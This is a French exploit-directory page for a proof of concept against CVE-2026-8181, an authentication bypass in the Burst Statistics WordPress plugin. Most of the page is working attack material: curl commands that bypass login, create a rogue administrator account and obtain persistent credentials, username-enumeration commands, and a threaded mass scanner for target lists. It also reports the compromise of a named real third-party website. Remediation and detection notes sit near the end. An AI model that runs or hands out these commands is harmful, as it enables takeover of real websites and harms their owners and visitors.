Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-8181 — CVE-2026-8181 - Burst Statistics 3.4.0-3.4.1.1 Unauthenticated Authentication Bypass to Admin Account Takeover | Proof of Concept | Kitploit
Outils/GitHubGitHub/zycoder0day/cve-2026-8181
Vulnerability AnalysisExploitationWeb Application ExploitationCTFPenetration TestingAuthenticationLearning & Education
GitHubzycoder0day/cve-2026-8181

CVE-2026-8181

CVE-2026-8181 - Burst Statistics 3.4.0-3.4.1.1 Unauthenticated Authentication Bypass to Admin Account Takeover | Proof of Concept

Voir le dépôt
57il y a 3 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-8181 — Contournement d'authentification Burst Statistics menant à la prise de contrôle du compte administrateur


📋 Informations sur la vulnérabilité

ÉlémentDétail
CVE IDCVE-2026-8181
PluginBurst Statistics – Privacy-Friendly WordPress Analytics
Versions concernées3.4.0 – 3.4.1.1
Version corrigée3.4.2
Score CVSS9.8 (Critique)
TypeCWE-287 : Authentification incorrecte
Vecteur d'attaqueRéseau / Distance / Non authentifié
Installations actives~200 000+
DécouvreurPRISM, Wordfence Threat Intelligence
Date de publication8 mai 2026

🎯 Résumé

Une vulnérabilité critique de contournement d'authentification dans le plugin WordPress Burst Statistics versions 3.4.0 à 3.4.1.1 permet à un attaquant sans authentification d'obtenir un accès complet administrateur WordPress simplement en connaissant le nom d'utilisateur admin. La conséquence est la prise de contrôle totale du compte administrateur, y compris la création de nouveaux comptes, la modification de contenu, jusqu'à l'installation de plugins malveillants.


🔬 Analyse technique

Cause racine

La vulnérabilité se trouve dans la méthode is_mainwp_authenticated() du fichier includes/Frontend/class-mainwp-proxy.php :

root@kitploit:~
// CODE VULNÉRABLE (v3.4.1.1)
public function is_mainwp_authenticated(): bool {
    $auth_header = sanitize_text_field(
        wp_unslash($_SERVER['HTTP_AUTHORIZATION'] ?? '')
    );

    if (!empty($auth_header) && stripos($auth_header, 'basic ') === 0) {
        $credentials = base64_decode(substr($auth_header, 6), true);
        // ... analyse username:password ...

        $is_valid = wp_authenticate_application_password(null, $username, $password);
        if (is_wp_error($is_valid)) {  // ← BUG : null N'EST PAS WP_Error !
            return false;
        }
        $user = get_user_by('login', $username);  // ← Auth basée uniquement sur le username !
        if (!$user || !user_can($user, 'manage_burst_statistics')) {
            return false;
        }
        wp_set_current_user($user->ID);  // ← Accorder privilèges admin
        return true;
    }
    return false;
}

Bogue principal : wp_authenticate_application_password(null, $username, $password) retourne null (pas WP_Error) lorsque les mots de passe d'application ne sont pas disponibles, ce qui se produit sur :

  • Sites HTTP (pas HTTPS) où wp_is_application_passwords_available() retourne false
  • Sites où is_ssl() retourne false

Comme is_wp_error(null) = false, le code continue vers get_user_by('login', $username) qui authentifie uniquement sur la base du nom d'utilisateur sans aucune validation du mot de passe.

Exécution précoce

La méthode has_admin_access() est appelée lors du hook plugins_loaded (priorité 9) dans class-burst.php ligne 118 :

root@kitploit:~
if ($this->has_admin_access()) {
    $this->admin = new Admin();
    $this->admin->init();
}

Ce hook s'exécute AVANT le traitement des routes de l'API REST, donc wp_set_current_user() donne les droits admin pour l'ENSEMBLE de la requête — pas seulement pour les endpoints Burst.

Déroulement de l'attaque

root@kitploit:~
Attaquant ──Requête HTTP──▶ WordPress
  En-têtes :
    X-BURSTMAINWP: 1
    Authorization: Basic base64(admin:n'importe quoi)
                │
                ▼
        [le hook plugins_loaded se déclenche]
                │
        Burst::bootstrap() → has_admin_access()
                │
        HTTP_X_BURSTMAINWP == '1' → is_mainwp_authenticated()
                │
        wp_authenticate_application_password(null, 'admin', 'n'importe quoi')
                │
        Site HTTP → wp_is_application_passwords_available() = false
                │
        Retourne null (PAS WP_Error)
                │
        is_wp_error(null) = false ← CONTOURNEMENT !
                │
        get_user_by('login', 'admin') → trouvé
                │
        wp_set_current_user(admin_id) → ADMIN COMPLET
                │
        has_admin_access() = true
                │
        [L'API REST traite la requête avec le contexte admin]
                │
        L'attaquant accède à TOUS les endpoints WordPress en tant qu'administrateur

💻 Preuve de concept

Prérequis

  • La cible fonctionne en HTTP (pas HTTPS, ou SSL n'est pas correctement détecté)
  • Le plugin Burst Statistics version 3.4.0 – 3.4.1.1 est installé et actif
  • Connaître le nom d'utilisateur admin (peut être énuméré)

Installation

root@kitploit:~
pip3 install requests

Utilisation — Cible unique

root@kitploit:~
# Scan de base
python3 exploit_CVE-2026-8181.py -u http://target.com -U admin -k

# Créer un nouveau compte admin
python3 exploit_CVE-2026-8181.py -u http://target.com -U admin --create-user -k

# Avec un nom d'utilisateur personnalisé
python3 exploit_CVE-2026-8181.py -u http://target.com -U administrator -k

Utilisation — Cibles multiples (Scanner de masse)

root@kitploit:~
python3 poc_CVE-2026-8181.py

Mode interactif :

  1. Saisir le fichier de liste de cibles (.txt, un domaine par ligne)
  2. Définir le nombre de threads (par défaut : 50)
  3. Définir les identifiants du nouveau compte
  4. Lancer le scan

Format de targets.txt :

root@kitploit:~
target1.com
target2.com
192.168.1.100
subdomain.example.org

PoC minimal (curl)

root@kitploit:~
# Étape 1 : Vérifier le contournement d'authentification
curl -s \
  -H "X-BURSTMAINWP: 1" \
  -H "Authorization: Basic $(echo -n 'admin:n'importe quoi' | base64)" \
  "http://target.com/?rest_route=/wp/v2/users/me&context=edit"

# Étape 2 : Créer un nouveau compte administrateur
curl -s \
  -H "X-BURSTMAINWP: 1" \
  -H "Authorization: Basic $(echo -n 'admin:bypass' | base64)" \
  -H "Content-Type: application/json" \
  -X POST \
  "http://target.com/?rest_route=/wp/v2/users" \
  -d '{"username":"hacker","password":"P@ssw0rd!","email":"[email protected]","roles":["administrator"]}'

# Étape 3 : Obtenir un mot de passe d'application (identifiants persistants)
curl -s \
  -H "X-BURSTMAINWP: 1" \
  -H "Authorization: Basic $(echo -n 'admin:bypass' | base64)" \
  -H "Content-Type: application/json" \
  -X POST \
  "http://target.com/?rest_route=/burst/v1/mainwp-auth" \
  -d '{}'

Énumération du nom d'utilisateur admin

root@kitploit:~
# Méthode 1 : API REST
curl -s "http://target.com/wp-json/wp/v2/users" | jq '.[].slug'

# Méthode 2 : Route de repli
curl -s "http://target.com/?rest_route=/wp/v2/users" | jq '.[].slug'

# Méthode 3 : Énumération par auteur
for i in $(seq 1 5); do
  curl -s -o /dev/null -w "%{redirect_url}\n" "http://target.com/?author=$i"
done

✅ Validation des résultats

Tests effectués sur WordPress 6.9 avec Burst Statistics 3.4.1.1 (localhost) :

Validation sur cible réelle

CibleRésultat
ausdermitte-binz.deRÉUSSI PWNED — Burst 3.4.1.1, contournement via binzwpadmin, compte xenon1337 créé (ID:30)

🔧 Analyse du correctif (v3.4.2)

Le correctif de la version 3.4.2 résout plusieurs problèmes :

  1. Vérification correcte du type de retour :
root@kitploit:~
// CORRIGÉ
$authenticated_user = wp_authenticate_application_password(null, $parts[0], $parts[1]);
if (!$authenticated_user instanceof \WP_User) {  // ← Vérifie WP_User, pas !WP_Error
    return false;
}
  1. Forcer la disponibilité des mots de passe d'application :
root@kitploit:~
$allow = static function(): bool { return true; };
add_filter('application_password_is_api_request', $allow, 999);
// ... authentifier ...
remove_filter('application_password_is_api_request', $allow, 999);
  1. Exigence de nonce CSRF pour les requêtes authentifiées par cookie
  2. Protection contre la relecture des nonces avec application à usage unique via add_option()
  3. Suppression du format de signature hérité qui ne liait pas le nom d'utilisateur

🛡️ Remédiation

Mesures immédiates

  1. Mettre à jour Burst Statistics vers la version 3.4.2 ou plus récente
  2. Auditer les comptes utilisateurs — vérifier les comptes administrateur inconnus
  3. Révoquer tous les mots de passe d'application (wp_application_passwords meta utilisateur)
  4. Vérifier l'email admin WordPress et autres paramètres
  5. Vérifier les plugins/thèmes inconnus

Détection des indicateurs de compromission

  • Rechercher dans les journaux d'accès les requêtes avec l'en-tête X-BURSTMAINWP: 1 provenant d'IP externes
  • Surveiller la table wp_users pour de nouveaux comptes administrateur
  • Vérifier wp_options pour les transients burst_mainwp_app_token_*
  • Examiner les mots de passe d'application dans les profils utilisateur

📁 Fichiers disponibles

FichierDescription
exploit_CVE-2026-8181.pyPreuve de concept pour cible unique
poc_CVE-2026-8181.pyScanner de masse multi-cibles avec threading
README.mdCette documentation

⚠️ Avertissement

Cet outil et cette documentation sont uniquement destinés à des tests de sécurité légitimes avec autorisation explicite. Toute utilisation sans autorisation sur un système qui ne vous appartient pas ou sans autorisation écrite est illégale. L'auteur décline toute responsabilité en cas d'utilisation abusive.


📚 Références

  • Avis Wordfence
  • Code source vulnérable
  • Dépôt WordPress Plugin
  • Analyse WP-Safety

Télécharger l’outil
TestRésultatPreuve
Accès à /wp/v2/users/me sans authentificationÉCHECrest_not_logged_in
Accès avec en-têtes de contournementRÉUSSIProfil admin + email + rôles
Création d'un nouveau compte administrateurRÉUSSIID utilisateur 2, rôle : administrateur
Lecture des paramètres WordPressRÉUSSITitre du site, email admin, URL
Obtention d'un mot de passe d'applicationRÉUSSIToken Base64 admin:password
Liste des plugins installésRÉUSSIListe complète avec versions